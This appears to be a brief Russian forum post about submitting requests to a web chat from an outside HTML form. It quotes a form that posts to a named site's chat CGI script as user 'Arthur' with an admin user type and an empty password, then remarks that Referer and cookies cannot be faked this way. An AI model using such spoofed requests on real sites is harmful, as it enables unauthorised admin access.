можно с помощью формы, точно так же как оно отправляется из самого чата...
Например такой формой:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<form method=post action=http://www.brokers.ru/cgi-bin/chat01/thankschat.cgi>
<input name=job value=login>
<input name=userid value=Arthur>
<input name=usertype value=админ>
<input name=userpassword value=>
<input type=submit>
</form>
[/QUOTE]<span id='postcolor'>

тольк поле Referer в таком случае подделать конечно не удастся (как и куки).